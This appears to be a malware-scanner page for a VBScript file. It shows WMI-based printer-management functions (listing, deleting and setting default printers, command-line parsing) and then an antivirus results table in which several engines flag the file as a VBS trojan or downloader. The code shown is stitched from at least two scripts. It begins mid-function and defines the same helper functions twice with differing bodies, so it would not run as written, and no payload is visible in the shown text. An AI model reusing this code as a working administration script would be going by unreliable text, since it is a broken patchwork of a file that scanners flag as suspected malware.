str = str + L_Text_Msg_Status21_Text + L_Space_Text
case 5
str = str + L_Text_Msg_Status22_Text + L_Space_Text
case 6
str = str + L_Text_Msg_Status23_Text + L_Space_Text
case 7
str = str + L_Text_Msg_Status24_Text + L_Space_Text
case 8
str = str + L_Text_Msg_Status25_Text + L_Space_Text
case 9
str = str + L_Text_Msg_Status07_Text + L_Space_Text
case 10
str = str + L_Text_Msg_Status26_Text + L_Space_Text
case 11
str = str + L_Text_Msg_Status27_Text + L_Space_Text
end select
DetectedErrorStateToString = str
end function
' Converts the extended detected error state to a string
function ExtDetectedErrorStateToString(Status)
dim str
str = L_Empty_Text
select case Status
case 0
str = str + L_Text_Msg_Status02_Text + L_Space_Text
case 1
str = str + L_Text_Msg_Status01_Text + L_Space_Text
case 2
str = str + L_Text_Msg_Status01_Text + L_Space_Text
case 3
str = str + L_Text_Msg_Status20_Text + L_Space_Text
case 4
str = str + L_Text_Msg_Status21_Text + L_Space_Text
case 5
str = str + L_Text_Msg_Status22_Text + L_Space_Text
case 6
str = str + L_Text_Msg_Status23_Text + L_Space_Text
case 7
str = str + L_Text_Msg_Status24_Text + L_Space_Text
case 8
str = str + L_Text_Msg_Status25_Text + L_Space_Text
case 9
str = str + L_Text_Msg_Status07_Text + L_Space_Text
case 10
str = str + L_Text_Msg_Status26_Text + L_Space_Text
case 11
str = str + L_Text_Msg_Status27_Text + L_Space_Text
case 12
str = str + L_Text_Msg_Status28_Text + L_Space_Text
case 13
str = str + L_Text_Msg_Status29_Text + L_Space_Text
case 14
str = str + L_Text_Msg_Status30_Text + L_Space_Text
case 15
str = str + L_Text_Msg_Status31_Text + L_Space_Text
case 16
str = str + L_Text_Msg_Status32_Text + L_Space_Text
end select
ExtDetectedErrorStateToString = str
end function
' Debug display helper function
sub DebugPrint(uFlags, strString)
if gDebugFlag = true then
if uFlags = kDebugTrace then
wscript.echo L_Debug_Text & L_Space_Text & strString
end if
if uFlags = kDebugError then
if Err <> 0 then
wscript.echo L_Debug_Text & L_Space_Text & strString & L_Space_Text _
& L_Error_Text & L_Space_Text & L_Hex_Text & hex(Err.Number) _
& L_Space_Text & Err.Description
end if
end if
end if
end sub
' Parse the command line into its components
function ParseCommandLine(iAction, oParamdict)
on error resume next
DebugPrint kDebugTrace, L_Text_Dbg_Msg05_Text
dim oArgs
dim iIndex
iAction = kActionUnknown
iIndex = 0
set oArgs = wscript.Arguments
while iIndex < oArgs.Count
select case oArgs(iIndex)
case "-g"
iAction = kActionGet
case "-t"
iAction = kActionSet
case "-x"
iAction = kActionRename
case "-p"
iIndex = iIndex + 1
oParamdict.Add kPrinterName, oArgs(iIndex)
case "-s"
iIndex = iIndex + 1
oParamdict.Add kServerName, RemoveBackslashes(oArgs(iIndex))
case "-r"
iIndex = iIndex + 1
oParamdict.Add kPortName, oArgs(iIndex)
case "-h"
iIndex = iIndex + 1
oParamdict.Add kShareName, oArgs(iIndex)
case "-m"
iIndex = iIndex + 1
oParamdict.Add kComment, oArgs(iIndex)
case "-l"
iIndex = iIndex + 1
oParamdict.Add kLocation, oArgs(iIndex)
case "-y"
iIndex = iIndex + 1
oParamdict.Add kDataType, oArgs(iIndex)
case "-f"
iIndex = iIndex + 1
oParamdict.Add kSepFile, oArgs(iIndex)
case "-z"
iIndex = iIndex + 1
oParamdict.Add kNewPrinterName, oArgs(iIndex)
case "-u"
iIndex = iIndex + 1
oParamdict.Add kUserName, oArgs(iIndex)
case "-w"
iIndex = iIndex + 1
oParamdict.Add kPassword, oArgs(iIndex)
case "-st"
iIndex = iIndex + 1
oParamdict.Add kStartTime, "********" & oArgs(iIndex) & "00.000000+000"
case "-o"
iIndex = iIndex + 1
oParamdict.Add kPriority, oArgs(iIndex)
case "-i"
iIndex = iIndex + 1
oParamdict.Add kDefaultPriority, oArgs(iIndex)
case "-ut"
iIndex = iIndex + 1
oParamdict.Add kUntilTime, "********" & oArgs(iIndex) & "00.000000+000"
case "-queued"
oParamdict.Add kQueued, false
case "+queued"
oParamdict.Add kQueued, true
case "-direct"
oParamdict.Add kDirect, false
case "+direct"
oParamdict.Add kDirect, true
case "-shared"
oParamdict.Add kShared, false
case "+shared"
oParamdict.Add kShared, true
case "-hidden"
oParamdict.Add kHidden, false
case "+hidden"
oParamdict.Add kHidden, true
case "-enabledevq"
oParamdict.Add kEnabledevq, false
case "+enabledevq"
oParamdict.Add kEnabledevq, true
case "-keepprintedjobs"
oParamdict.Add kKeepprintedjobs, false
case "+keepprintedjobs"
oParamdict.Add kKeepprintedjobs, true
case "-docompletefirst"
oParamdict.Add kDocompletefirst, false
case "+docompletefirst"
oParamdict.Add kDocompletefirst, true
case "-workoffline"
oParamdict.Add kWorkoffline, false
case "+workoffline"
oParamdict.Add kWorkoffline, true
case "-enablebidi"
oParamdict.Add kEnablebidi, false
case "+enablebidi"
oParamdict.Add kEnablebidi, true
case "-rawonly"
oParamdict.Add kRawonly, false
case "+rawonly"
oParamdict.Add kRawonly, true
case "-published"
oParamdict.Add kPublished, false
case "+published"
oParamdict.Add kPublished, true
case "-?"
Usage(true)
exit function
case else
Usage(true)
exit function
end select
iIndex = iIndex + 1
wend
if Err = kErrorSuccess then
ParseCommandLine = kErrorSuccess
else
wscript.echo L_Text_Error_General02_Text & L_Space_Text & L_Error_Text & L_Space_Text _
& L_Hex_Text & hex(Err.Number) & L_Space_text & Err.Description
ParseCommandLine = kErrorFailure
end if
end function
' Display command usage.
sub Usage(bExit)
wscript.echo L_Help_Help_General01_Text
wscript.echo L_Help_Help_General02_Text
wscript.echo L_Help_Help_General03_Text
wscript.echo L_Help_Help_General04_Text
wscript.echo L_Help_Help_General05_Text
wscript.echo L_Help_Help_General06_Text
wscript.echo L_Help_Help_General07_Text
wscript.echo L_Help_Help_General08_Text
wscript.echo L_Help_Help_General09_Text
wscript.echo L_Help_Help_General10_Text
wscript.echo L_Help_Help_General11_Text
wscript.echo L_Help_Help_General12_Text
wscript.echo L_Help_Help_General13_Text
wscript.echo L_Help_Help_General14_Text
wscript.echo L_Help_Help_General15_Text
wscript.echo L_Help_Help_General16_Text
wscript.echo L_Help_Help_General17_Text
wscript.echo L_Help_Help_General18_Text
wscript.echo L_Help_Help_General19_Text
wscript.echo L_Help_Help_General20_Text
wscript.echo L_Help_Help_General21_Text
wscript.echo L_Help_Help_General22_Text
wscript.echo L_Help_Help_General23_Text
wscript.echo L_Help_Help_General24_Text
wscript.echo L_Help_Help_General25_Text
wscript.echo L_Help_Help_General26_Text
wscript.echo L_Help_Help_General27_Text
wscript.echo L_Empty_Text
wscript.echo L_Help_Help_General28_Text
wscript.echo L_Help_Help_General29_Text
wscript.echo L_Help_Help_General30_Text
wscript.echo L_Help_Help_General31_Text
wscript.echo L_Help_Help_General32_Text
wscript.echo L_Help_Help_General33_Text
wscript.echo L_Help_Help_General34_Text
wscript.echo L_Help_Help_General35_Text
if bExit then
wscript.quit(1)
end if
end sub
' Determines which program is being used to run this script.
' Returns true if the script host is cscript.exe
function IsHostCscript()
on error resume next
dim strFullName
dim strCommand
dim i, j
dim bReturn
bReturn = false
strFullName = WScript.FullName
i = InStr(1, strFullName, ".exe", 1)
if i <> 0 then
j = InStrRev(strFullName, "\", i, 1)
if j <> 0 then
strCommand = Mid(strFullName, j+1, i-j-1)
if LCase(strCommand) = "cscript" then
bReturn = true
end if
end if
end if
if Err <> 0 then
wscript.echo L_Text_Error_General01_Text & L_Space_Text & L_Error_Text & L_Space_Text _
& L_Hex_Text & hex(Err.Number) & L_Space_Text & Err.Description
end if
IsHostCscript = bReturn
end function
' Retrieves extended information about the last error that occurred
' during a WBEM operation. The methods that set an SWbemLastError
' object are GetObject, PutInstance, DeleteInstance
sub LastError()
on error resume next
dim oError
set oError = CreateObject("WbemScripting.SWbemLastError")
if Err = kErrorSuccess then
wscript.echo L_Operation_Text & L_Space_Text & oError.Operation
wscript.echo L_Provider_Text & L_Space_Text & oError.ProviderName
wscript.echo L_Description_Text & L_Space_Text & oError.Description
wscript.echo L_Text_Error_General03_Text & L_Space_Text & oError.StatusCode
end if
end sub
' Connects to the WMI service on a server. oService is returned as a service
' object (SWbemServices)
function WmiConnect(strServer, strNameSpace, strUser, strPassword, oService)
on error resume next
dim oLocator
dim bResult
oService = null
bResult = false
set oLocator = CreateObject("WbemScripting.SWbemLocator")
if Err = kErrorSuccess then
set oService = oLocator.ConnectServer(strServer, strNameSpace, strUser, strPassword)
if Err = kErrorSuccess then
bResult = true
oService.Security_.impersonationlevel = 3
'
' Required to perform administrative tasks on the spooler service
'
oService.Security_.Privileges.AddAsString "SeLoadDriverPrivilege"
Err.Clear
else
wscript.echo L_Text_Msg_General08_Text & L_Space_Text & L_Error_Text _
& L_Space_Text & L_Hex_Text & hex(Err.Number) & L_Space_Text _
& Err.Description
end if
else
wscript.echo L_Text_Msg_General09_Text & L_Space_Text & L_Error_Text _
& L_Space_Text & L_Hex_Text & hex(Err.Number) & L_Space_Text _
& Err.Description
end if
WmiConnect = bResult
end function
' Remove leading "\\" from server name
function RemoveBackslashes(strServer)
dim strRet
strRet = strServer
if Left(strServer, 2) = "\\" and Len(strServer) > 2 then
strRet = Mid(strServer, 3)
end if
RemoveBackslashes = strRet
end function
function DelPrinter(strServer, strPrinter, strUser, strPassword)
on error resume next
DebugPrint kDebugTrace, L_Text_Dbg_Msg03_Text
DebugPrint kDebugTrace, L_Text_Msg_Printer01_Text & L_Space_Text & strServer
DebugPrint kDebugTrace, L_Text_Msg_Printer02_Text & L_Space_Text & strPrinter
dim oService
dim oPrinter
dim iRetval
iRetval = kErrorFailure
if WmiConnect(strServer, kNameSpace, strUser, strPassword, oService) then
set oPrinter = oService.Get("Win32_Printer.DeviceID='" & strPrinter & "'")
else
DelPrinter = kErrorFailure
exit function
end if
' Check if Get was successful
if Err.Number = kErrorSuccess then
oPrinter.Delete_
if Err.Number = kErrorSuccess then
wscript.echo L_Text_Msg_General05_Text & L_Space_Text & strPrinter
iRetval = kErrorSuccess
else
wscript.echo L_Text_Msg_General06_Text & L_Space_Text & strPrinter & L_Space_Text _
& L_Error_Text & L_Space_Text & L_Hex_Text & hex(Err.Number) _
& L_Space_Text & Err.Description
'
' Try getting extended error information
'
call LastError()
end if
else
wscript.echo L_Text_Msg_General06_Text & L_Space_Text & strPrinter & L_Space_Text _
& L_Error_Text & L_Space_Text & L_Hex_Text & hex(Err.Number) _
& L_Space_Text & Err.Description
'
' Try getting extended error information
'
call LastError()
end if
DelPrinter = iRetval
end function
' Delete all local printers and connections on a machine
function DelAllPrinters(kAction, strServer, strUser, strPassword)
on error resume next
DebugPrint kDebugTrace, L_Text_Dbg_Msg04_Text
dim Printers
dim oPrinter
dim oService
dim iResult
dim iTotal
dim iTotalDeleted
dim strPrinterName
dim bDelete
dim bConnection
dim strTemp
if WmiConnect(strServer, kNameSpace, strUser, strPassword, oService) then
set Printers = oService.InstancesOf("Win32_Printer")
else
DelAllPrinters = kErrorFailure
exit function
end if
if Err.Number <> kErrorSuccess then
wscript.echo L_Text_Msg_General11_Text & L_Space_Text & L_Error_Text & L_Space_Text _
& L_Hex_Text & hex(Err.Number) & L_Space_Text & Err.Description
DelAllPrinters = kErrorFailure
exit function
end if
iTotal = 0
iTotalDeleted = 0
for each oPrinter in Printers
strPrinterName = oPrinter.DeviceID
bConnection = oPrinter.Network
if kAction = kActionDelAll then
bDelete = 1
iTotal = iTotal + 1
elseif kAction = kActionDelAllCon and bConnection then
bDelete = 1
iTotal = iTotal + 1
elseif kAction = kActionDelAllLocal and not bConnection then
bDelete = 1
iTotal = iTotal + 1
else
bDelete = 0
end if
if bDelete = 1 then
if bConnection then
strTemp = L_Space_Text & L_Connection_Text & L_Space_Text
else
strTemp = L_Space_Text
end if
'
' Delete printer instance
'
oPrinter.Delete_
if Err.Number = kErrorSuccess then
wscript.echo L_Text_Msg_General05_Text & strTemp & oPrinter.DeviceID
iTotalDeleted = iTotalDeleted + 1
else
wscript.echo L_Text_Msg_General06_Text & strTemp & strPrinterName _
& L_Space_Text & L_Error_Text & L_Space_Text & L_Hex_Text _
& hex(Err.Number) & L_Space_Text & Err.Description
'
' Try getting extended error information
'
call LastError()
'
' Continue deleting the rest of the printers despite this error
'
Err.Clear
end if
end if
next
wscript.echo L_Empty_Text
if kAction = kActionDelAll then
wscript.echo L_Text_Msg_General09_Text & L_Space_Text & iTotal
wscript.echo L_Text_Msg_General10_Text & L_Space_Text & iTotalDeleted
elseif kAction = kActionDelAllCon then
wscript.echo L_Text_Msg_General16_Text & L_Space_Text & iTotal
wscript.echo L_Text_Msg_General17_Text & L_Space_Text & iTotalDeleted
elseif kAction = kActionDelAllLocal then
wscript.echo L_Text_Msg_General18_Text & L_Space_Text & iTotal
wscript.echo L_Text_Msg_General19_Text & L_Space_Text & iTotalDeleted
else
end if
DelAllPrinters = kErrorSuccess
end function
' List the printers
function ListPrinters(strServer, strUser, strPassword)
on error resume next
DebugPrint kDebugTrace, L_Text_Dbg_Msg05_Text
dim Printers
dim oService
dim oPrinter
dim iTotal
if WmiConnect(strServer, kNameSpace, strUser, strPassword, oService) then
set Printers = oService.InstancesOf("Win32_Printer")
else
ListPrinters = kErrorFailure
exit function
end if
if Err.Number <> kErrorSuccess then
wscript.echo L_Text_Msg_General11_Text & L_Space_Text & L_Error_Text & L_Space_Text _
& L_Hex_Text & hex(Err.Number) & L_Space_Text & Err.Description
ListPrinters = kErrorFailure
exit function
end if
iTotal = 0
for each oPrinter in Printers
iTotal = iTotal + 1
wscript.echo L_Empty_Text
wscript.echo L_Text_Msg_Printer01_Text & L_Space_Text & strServer
wscript.echo L_Text_Msg_Printer02_Text & L_Space_Text & oPrinter.DeviceID
wscript.echo L_Text_Msg_Printer03_Text & L_Space_Text & oPrinter.ShareName
wscript.echo L_Text_Msg_Printer04_Text & L_Space_Text & oPrinter.DriverName
wscript.echo L_Text_Msg_Printer05_Text & L_Space_Text & oPrinter.PortName
wscript.echo L_Text_Msg_Printer06_Text & L_Space_Text & oPrinter.Comment
wscript.echo L_Text_Msg_Printer07_Text & L_Space_Text & oPrinter.Location
wscript.echo L_Text_Msg_Printer08_Text & L_Space_Text & oPrinter.SepFile
wscript.echo L_Text_Msg_Printer09_Text & L_Space_Text & oPrinter.PrintProcessor
wscript.echo L_Text_Msg_Printer10_Text & L_Space_Text & oPrinter.PrintJobDataType
wscript.echo L_Text_Msg_Printer11_Text & L_Space_Text & oPrinter.Parameters
wscript.echo L_Text_Msg_Printer12_Text & L_Space_Text & CSTR(oPrinter.Attributes)
wscript.echo L_Text_Msg_Printer13_Text & L_Space_Text & CSTR(oPrinter.Priority)
wscript.echo L_Text_Msg_Printer14_Text & L_Space_Text & CStr(oPrinter.DefaultPriority)
if CStr(oPrinter.StartTime) <> "" and CStr(oPrinter.UntilTime) <> "" then
wscript.echo L_Text_Msg_Printer15_Text & L_Space_Text & Mid(Mid(CStr(oPrinter.StartTime), 9, 4), 1, 2) & "h" & Mid(Mid(CStr(oPrinter.StartTime), 9, 4), 3, 2)
wscript.echo L_Text_Msg_Printer16_Text & L_Space_Text & Mid(Mid(CStr(oPrinter.UntilTime), 9, 4), 1, 2) & "h" & Mid(Mid(CStr(oPrinter.UntilTime), 9, 4), 3, 2)
end if
wscript.echo L_Text_Msg_Printer17_Text & L_Space_Text & CStr(oPrinter.Jobs)
wscript.echo L_Text_Msg_Printer18_Text & L_Space_Text & CStr(oPrinter.AveragePagesPerMinute)
wscript.echo L_Text_Msg_Printer19_Text & L_Space_Text & PrnStatusToString(oPrinter.PrinterStatus)
wscript.echo L_Text_Msg_Printer20_Text & L_Space_Text & ExtPrnStatusToString(oPrinter.ExtendedPrinterStatus)
wscript.echo L_Text_Msg_Printer21_Text & L_Space_Text & DetectedErrorStateToString(oPrinter.DetectedErrorState)
wscript.echo L_Text_Msg_Printer22_Text & L_Space_Text & ExtDetectedErrorStateToString(oPrinter.ExtendedDetectedErrorState)
Err.Clear
next
wscript.echo L_Empty_Text
wscript.echo L_Text_Msg_General09_Text & L_Space_Text & iTotal
ListPrinters = kErrorSuccess
end function
' Get the default printer
function GetDefaultPrinter(strUser, strPassword)
on error resume next
DebugPrint kDebugTrace, L_Text_Dbg_Msg06_Text
dim oService
dim oPrinter
dim iRetval
dim oEnum
iRetval = kErrorFailure
' We connect to the local server
if WmiConnect("", kNameSpace, strUser, strPassword, oService) then
set oEnum = oService.ExecQuery("select DeviceID from Win32_Printer where default=true")
else
SetDefaultPrinter = kErrorFailure
exit function
end if
if Err.Number = kErrorSuccess then
for each oPrinter in oEnum
wscript.echo L_Text_Msg_General12_Text & L_Space_Text & oPrinter.DeviceID
next
iRetval = kErrorSuccess
else
wscript.echo L_Text_Msg_General13_Text & L_Space_Text & L_Error_Text & L_Space_Text _
& L_Hex_Text & hex(Err.Number) & L_Space_Text & Err.Description
end if
GetDefaultPrinter = iRetval
end function
' Set the default printer
function SetDefaultPrinter(strPrinter, strUser, strPassword)
'on error resume next
DebugPrint kDebugTrace, L_Text_Dbg_Msg07_Text
dim oService
dim oPrinter
dim iRetval
dim uResult
iRetval = kErrorFailure
' We connect to the local server
if WmiConnect("", kNameSpace, strUser, strPassword, oService) then
set oPrinter = oService.Get("Win32_Printer.DeviceID='" & strPrinter & "'")
else
SetDefaultPrinter = kErrorFailure
exit function
end if
' Check if Get was successful
if Err.Number = kErrorSuccess then
'
' The Err object indicates whether the WMI provider reached the execution
' of the function that sets the default printer. The uResult is the Win32
' error code of the spooler function that sets the default printer
'
uResult = oPrinter.SetDefaultPrinter
if Err.Number = kErrorSuccess then
if uResult = kErrorSuccess then
wscript.echo L_Text_Msg_General15_Text & L_Space_Text & strPrinter
iRetval = kErrorSuccess
else
wscript.echo L_Text_Msg_General14_Text & L_Space_Text _
& L_Text_Error_General03_Text& L_Space_Text & uResult
end if
else
wscript.echo L_Text_Msg_General14_Text & L_Space_Text & L_Error_Text & L_Space_Text _
& L_Hex_Text & hex(Err.Number) & L_Space_Text & Err.Description
end if
else
wscript.echo L_Text_Msg_General14_Text & L_Space_Text & L_Error_Text & L_Space_Text _
& L_Hex_Text & hex(Err.Number) & L_Space_Text & Err.Description
'
' Try getting extended error information
'
call LastError()
end if
SetDefaultPrinter = iRetval
end function
' Converts the printer status to a string
function PrnStatusToString(Status)
dim str
str = L_Empty_Text
select case Status
case 1
str = str + L_Text_Msg_Status01_Text + L_Space_Text
case 2
str = str + L_Text_Msg_Status02_Text + L_Space_Text
case 3
str = str + L_Text_Msg_Status03_Text + L_Space_Text
case 4
str = str + L_Text_Msg_Status04_Text + L_Space_Text
case 5
str = str + L_Text_Msg_Status05_Text + L_Space_Text
case 6
str = str + L_Text_Msg_Status06_Text + L_Space_Text
case 7
str = str + L_Text_Msg_Status07_Text + L_Space_Text
end select
PrnStatusToString = str
end function
' Converts the extended printer status to a string
function ExtPrnStatusToString(Status)
dim str
str = L_Empty_Text
select case Status
case 1
str = str + L_Text_Msg_Status01_Text + L_Space_Text
case 2
str = str + L_Text_Msg_Status02_Text + L_Space_Text
case 3
str = str + L_Text_Msg_Status03_Text + L_Space_Text
case 4
str = str + L_Text_Msg_Status04_Text + L_Space_Text
case 5
str = str + L_Text_Msg_Status05_Text + L_Space_Text
case 6
str = str + L_Text_Msg_Status06_Text + L_Space_Text
case 7
str = str + L_Text_Msg_Status07_Text + L_Space_Text
case 8
str = str + L_Text_Msg_Status08_Text + L_Space_Text
case 9
str = str + L_Text_Msg_Status09_Text + L_Space_Text
case 10
str = str + L_Text_Msg_Status10_Text + L_Space_Text
case 11
str = str + L_Text_Msg_Status11_Text + L_Space_Text
case 12
str = str + L_Text_Msg_Status12_Text + L_Space_Text
case 13
str = str + L_Text_Msg_Status13_Text + L_Space_Text
case 14
str = str + L_Text_Msg_Status14_Text + L_Space_Text
case 15
str = str + L_Text_Msg_Status15_Text + L_Space_Text
case 16
str = str + L_Text_Msg_Status16_Text + L_Space_Text
case 17
str = str + L_Text_Msg_Status17_Text + L_Space_Text
case 18
str = str + L_Text_Msg_Status18_Text + L_Space_Text
end select
ExtPrnStatusToString = str
end function
' Converts the detected error state to a string
function DetectedErrorStateToString(Status)
dim str
str = L_Empty_Text
select case Status
case 0
str = str + L_Text_Msg_Status02_Text + L_Space_Text
case 1
str = str + L_Text_Msg_Status01_Text + L_Space_Text
case 2
str = str + L_Text_Msg_Status01_Text + L_Space_Text
case 3
str = str + L_Text_Msg_Status20_Text + L_Space_Text
case 4
str = str + L_Text_Msg_Status21_Text + L_Space_Text
case 5
str = str + L_Text_Msg_Status22_Text + L_Space_Text
case 6
str = str + L_Text_Msg_Status23_Text + L_Space_Text
case 7
str = str + L_Text_Msg_Status24_Text + L_Space_Text
case 8
str = str + L_Text_Msg_Status25_Text + L_Space_Text
case 9
str = str + L_Text_Msg_Status07_Text + L_Space_Text
case 10
str = str + L_Text_Msg_Status26_Text + L_Space_Text
case 11
str = str + L_Text_Msg_Status27_Text + L_Space_Text
end select
DetectedErrorStateToString = str
end function
' Converts the extended detected error state to a string
function ExtDetectedErrorStateToString(Status)
dim str
str = L_Empty_Text
select case Status
case 0
str = str + L_Text_Msg_Status02_Text + L_Space_Text
case 1
str = str + L_Text_Msg_Status01_Text + L_Space_Text
case 2
str = str + L_Text_Msg_Status01_Text + L_Space_Text
case 3
str = str + L_Text_Msg_Status20_Text + L_Space_Text
case 4
str = str + L_Text_Msg_Status21_Text + L_Space_Text
case 5
str = str + L_Text_Msg_Status22_Text + L_Space_Text
case 6
str = str + L_Text_Msg_Status23_Text + L_Space_Text
case 7
str = str + L_Text_Msg_Status24_Text + L_Space_Text
case 8
str = str + L_Text_Msg_Status25_Text + L_Space_Text
case 9
str = str + L_Text_Msg_Status07_Text + L_Space_Text
case 10
str = str + L_Text_Msg_Status26_Text + L_Space_Text
case 11
str = str + L_Text_Msg_Status27_Text + L_Space_Text
case 12
str = str + L_Text_Msg_Status28_Text + L_Space_Text
case 13
str = str + L_Text_Msg_Status29_Text + L_Space_Text
case 14
str = str + L_Text_Msg_Status30_Text + L_Space_Text
case 15
str = str + L_Text_Msg_Status31_Text + L_Space_Text
case 16
str = str + L_Text_Msg_Status32_Text + L_Space_Text
end select
ExtDetectedErrorStateToString = str
end function
' Debug display helper function
sub DebugPrint(uFlags, strString)
if gDebugFlag = true then
if uFlags = kDebugTrace then
wscript.echo L_Debug_Text & L_Space_Text & strString
end if
if uFlags = kDebugError then
if Err <> 0 then
wscript.echo L_Debug_Text & L_Space_Text & strString & L_Space_Text _
& L_Error_Text & L_Space_Text & L_Hex_Text & hex(Err.Number) _
& L_Space_Text & Err.Description
end if
end if
end if
end sub
' Parse the command line into its components
function ParseCommandLine(iAction, strServer, strPrinter, strDriver, strPort, strUser, strPassword)
on error resume next
DebugPrint kDebugTrace, L_Text_Dbg_Msg08_Text
dim oArgs
dim iIndex
iAction = kActionUnknown
iIndex = 0
set oArgs = wscript.Arguments
while iIndex < oArgs.Count
select case oArgs(iIndex)
case "-a"
iAction = kActionAdd
case "-ac"
iAction = kActionAddConn
case "-d"
iAction = kActionDel
case "-x"
iAction = kActionDelAll
case "-xc"
iAction = kActionDelAllCon
case "-xo"
iAction = kActionDelAllLocal
case "-l"
iAction = kActionList
case "-g"
iAction = kActionGetDefaultPrinter
case "-t"
iAction = kActionSetDefaultPrinter
case "-s"
iIndex = iIndex + 1
strServer = RemoveBackslashes(oArgs(iIndex))
case "-p"
iIndex = iIndex + 1
strPrinter = oArgs(iIndex)
case "-m"
iIndex = iIndex + 1
strDriver = oArgs(iIndex)
case "-u"
iIndex = iIndex + 1
strUser = oArgs(iIndex)
case "-w"
iIndex = iIndex + 1
strPassword = oArgs(iIndex)
case "-r"
iIndex = iIndex + 1
strPort = oArgs(iIndex)
case "-?"
Usage(true)
exit function
case else
Usage(true)
exit function
end select
iIndex = iIndex + 1
wend
if Err = kErrorSuccess then
ParseCommandLine = kErrorSuccess
else
wscript.echo L_Text_Error_General02_Text & L_Space_Text & L_Error_Text & L_Space_Text _
& L_Hex_Text & hex(Err.Number) & L_Space_text & Err.Description
ParseCommandLine = kErrorFailure
end if
end function
' Display command usage.
sub Usage(bExit)
wscript.echo L_Help_Help_General01_Text
wscript.echo L_Help_Help_General02_Text
wscript.echo L_Help_Help_General03_Text
wscript.echo L_Help_Help_General04_Text
wscript.echo L_Help_Help_General05_Text
wscript.echo L_Help_Help_General06_Text
wscript.echo L_Help_Help_General07_Text
wscript.echo L_Help_Help_General08_Text
wscript.echo L_Help_Help_General09_Text
wscript.echo L_Help_Help_General10_Text
wscript.echo L_Help_Help_General11_Text
wscript.echo L_Help_Help_General12_Text
wscript.echo L_Help_Help_General13_Text
wscript.echo L_Help_Help_General14_Text
wscript.echo L_Help_Help_General15_Text
wscript.echo L_Help_Help_General16_Text
wscript.echo L_Help_Help_General17_Text
wscript.echo L_Help_Help_General18_Text
wscript.echo L_Help_Help_General19_Text
wscript.echo L_Empty_Text
wscript.echo L_Help_Help_General20_Text
wscript.echo L_Help_Help_General21_Text
wscript.echo L_Help_Help_General22_Text
wscript.echo L_Help_Help_General23_Text
wscript.echo L_Help_Help_General24_Text
wscript.echo L_Help_Help_General25_Text
wscript.echo L_Help_Help_General26_Text
wscript.echo L_Help_Help_General27_Text
wscript.echo L_Help_Help_General28_Text
wscript.echo L_Help_Help_General29_Text
if bExit then
wscript.quit(1)
end if
end sub
' Determines which program is being used to run this script.
' Returns true if the script host is cscript.exe
function IsHostCscript()
on error resume next
dim strFullName
dim strCommand
dim i, j
dim bReturn
bReturn = false
strFullName = WScript.FullName
i = InStr(1, strFullName, ".exe", 1)
if i <> 0 then
j = InStrRev(strFullName, "\", i, 1)
if j <> 0 then
strCommand = Mid(strFullName, j+1, i-j-1)
if LCase(strCommand) = "cscript" then
bReturn = true
end if
end if
end if
if Err <> 0 then
wscript.echo L_Text_Error_General01_Text & L_Space_Text & L_Error_Text & L_Space_Text _
& L_Hex_Text & hex(Err.Number) & L_Space_Text & Err.Description
end if
IsHostCscript = bReturn
end function
' Retrieves extended information about the last error that occurred
' during a WBEM operation. The methods that set an SWbemLastError
' object are GetObject, PutInstance, DeleteInstance
sub LastError()
on error resume next
dim oError
set oError = CreateObject("WbemScripting.SWbemLastError")
if Err = kErrorSuccess then
wscript.echo L_Operation_Text & L_Space_Text & oError.Operation
wscript.echo L_Provider_Text & L_Space_Text & oError.ProviderName
wscript.echo L_Description_Text & L_Space_Text & oError.Description
wscript.echo L_Text_Error_General03_Text & L_Space_Text & oError.StatusCode
end if
end sub
' Connects to the WMI service on a server. oService is returned as a service
' object (SWbemServices)
function WmiConnect(strServer, strNameSpace, strUser, strPassword, oService)
on error resume next
dim oLocator
dim bResult
oService = null
bResult = false
set oLocator = CreateObject("WbemScripting.SWbemLocator")
if Err = kErrorSuccess then
set oService = oLocator.ConnectServer(strServer, strNameSpace, strUser, strPassword)
if Err = kErrorSuccess then
bResult = true
oService.Security_.impersonationlevel = 3
'
' Required to perform administrative tasks on the spooler service
'
oService.Security_.Privileges.AddAsString "SeLoadDriverPrivilege"
Err.Clear
else
wscript.echo L_Text_Msg_General11_Text & L_Space_Text & L_Error_Text _
& L_Space_Text & L_Hex_Text & hex(Err.Number) & L_Space_Text _
& Err.Description
end if
else
wscript.echo L_Text_Msg_General10_Text & L_Space_Text & L_Error_Text _
& L_Space_Text & L_Hex_Text & hex(Err.Number) & L_Space_Text _
& Err.Description
end if
WmiConnect = bResult
end function
' Remove leading "\\" from server name
function RemoveBackslashes(strServer)
dim strRet
strRet = strServer
if Left(strServer, 2) = "\\" and Len(strServer) > 2 then
strRet = Mid(strServer, 3)
end if
RemoveBackslashes = strRet
end function
Antivirus Signature
Bkav Clean
Lionic Clean
DrWeb Clean
ClamAV Clean
FireEye Clean
CAT-QuickHeal Clean
Skyhigh Clean
ALYac Clean
Malwarebytes Clean
Zillya Clean
Sangfor Clean
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
VirIT Clean
Symantec ISB.Downloader!gen40
ESET-NOD32 Clean
TrendMicro-HouseCall Clean
Avast Clean
Cynet Clean
Kaspersky HEUR:Trojan.VBS.SAgent.gen
BitDefender Clean
NANO-Antivirus Clean
SUPERAntiSpyware Clean
MicroWorld-eScan Clean
Tencent Clean
Emsisoft Clean
F-Secure Clean
Baidu Clean
VIPRE Clean
TrendMicro Clean
CMC Clean
Sophos Clean
Ikarus Clean
Jiangmin Clean
Google Detected
Avira Clean
Antiy-AVL Clean
Kingsoft Clean
Microsoft Clean
Gridinsoft Clean
Xcitium Clean
Arcabit Clean
ViRobot Clean
ZoneAlarm HEUR:Trojan.VBS.SAgent.gen
GData Clean
Varist VBS/Agent.BFC!Eldorado
AhnLab-V3 Clean
Acronis Clean
McAfee Clean
MAX Clean
VBA32 Clean
Zoner Clean
Rising Clean
Yandex Clean
TACHYON Clean
MaxSecure Clean
Fortinet Clean
AVG Clean
Panda Clean
No IRMA results available.